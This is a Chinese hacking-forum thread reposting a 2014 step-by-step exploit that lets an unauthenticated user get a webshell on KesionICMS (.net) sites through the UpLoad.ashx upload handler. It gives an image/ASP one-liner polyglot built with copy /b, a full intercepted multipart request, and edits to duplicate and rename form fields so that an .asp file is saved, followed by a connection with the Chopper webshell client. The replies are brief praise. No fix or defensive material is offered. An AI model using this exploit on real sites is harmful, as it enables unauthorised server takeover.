查看: 14240|回复: 6

[转]KesionICMS(.net)可无视任何条件前台getshell

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2014-10-27 15:34:20 | 显示全部楼层 |阅读模式
    来源:zph
    KesionICMS除了自带的文章、图片、下载系统外还可以在文章、图片、下载三个系统模型的基础上自定义出功能模型比如房产系统,酒店系统,图片系统,软件下载等;自定义表单助您轻松打造在线报名,举报投诉等功能。10年开发经验的优秀团队,在掌握了丰富的WEB开发经验和CMS产品开发经验的同时,勇于创新追求完美的设计理念,力争为全球更多网站提供助力,并被更多的政府机构、教育机构、事业单位、商业企业、个人站长所认可。

    KesionICMS某个频道上传功能的地方有缺陷,导致漏洞形成。
    本漏洞测试的时候无需登录,即可进行操作。
    问题出在:User\Include\UpLoad.ashx,程序只对上传时的文件进行一系列判断,但是没有在文件上传后进行判断,导致可以getshell。
    因为官网demo有 安全狗,所以不能用官网来演示菜刀连接……但证明成功上传还是可以的
    20141026100840228.gif
    0x01 准备

    由于程序会对图片的有效性进行判断,所以我们不得不copy一下 copy /b 1.jpg+1.asp 123.jpg
    其中1.jpg为随意有效图片文件,1.asp为一句话,得到的123.jpg即为copy后待上传的图片文件。

    0x02 上传&改包

    用burp截包如下:
    [AppleScript] 纯文本查看 复制代码
    POST /user/include/upload.ashx HTTP/1.1
    Accept: text/*
    Content-Type: multipart/form-data; boundary=----------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    User-Agent: Shockwave Flash
    Host: www.******.com
    Content-Length: 18389
    Proxy-Connection: Keep-Alive
    Pragma: no-cache
    Cookie: ASP.NET_SessionId=dd1zohqmmxotk045nu52vsaf
     
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="Filename"
     
    2.jpg
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="AutoRename"
     
    4
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="formid"
     
    0
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="FieldID"
     
    pic
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="upBySwf"
     
    1
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="ispic"
     
    0
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="ChannelID"
     
    1001
    ------------ei4gL6cH2ae0KM7Ij5Ef1ae0KM7ei4
    Content-Disposition: form-data; name="Filedata"; filename="2.jpg"
    Content-Type: application/octet-stream
     
    (省略文件内容)
     
    ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
    Content-Disposition: form-data; name="Upload"
     
    Submit Query
    ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3--

    我们做以下几个修改:(这块语言可能描述的不太好,大家谅解,下面会有一个视频演示来帮大家理解)

    1.复制以下内容(不同网站内容可能不完全相同)
    [AppleScript] 纯文本查看 复制代码
    ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
    Content-Disposition: form-data; name="Filename"
    2.jpg

    并在2.jpg后面回车、粘贴
    20141026100840229.gif
    2.将第二个2.jpg改为asp后缀文件

    3.将第二个Filename改为Filenames

    4.复制以下内容(不同网站内容可能不完全相同)
    [AppleScript] 纯文本查看 复制代码
    ------------KM7ei4KM7cH2ei4Ef1ei4ae0KM7GI3
    Content-Disposition: form-data; name="upBySwf"
    1


    并在1后面回车、粘贴
    20141026100840231.gif
    5.将第二个upBySwf改为NoReName
    至此就完成修改了。下面按Ctrl+R将Raw发送到Repeater,点击Go 显示出文件路径
    20141026100840232.gif
    菜刀连接即可
    20141026100840233.gif
    演示视频:http://pan.baidu.com/s/1eQrIj7c 密码ptr5 不听歌的话就静音

    评分

    参与人数 1i币 +2 收起 理由
    契约 + 2 有视频+1

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2014-10-27 17:11:46 | 显示全部楼层
    抢个座位,思密达
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-10-27 22:48:22 | 显示全部楼层
    好像在乌云下上看见过
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    难过
    2016-10-1 00:31
  • 签到天数: 30 天

    [LV.5]常住居民I

    发表于 2014-10-27 23:58:44 | 显示全部楼层
    好强大.....
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-10-28 08:41:51 | 显示全部楼层
    前排挤挤
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-10-29 16:42:59 | 显示全部楼层
    很好,很强大
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-9-13 14:59:26 | 显示全部楼层
    6666666666
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-11-22 13:08 , Processed in 0.027594 second(s), 16 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部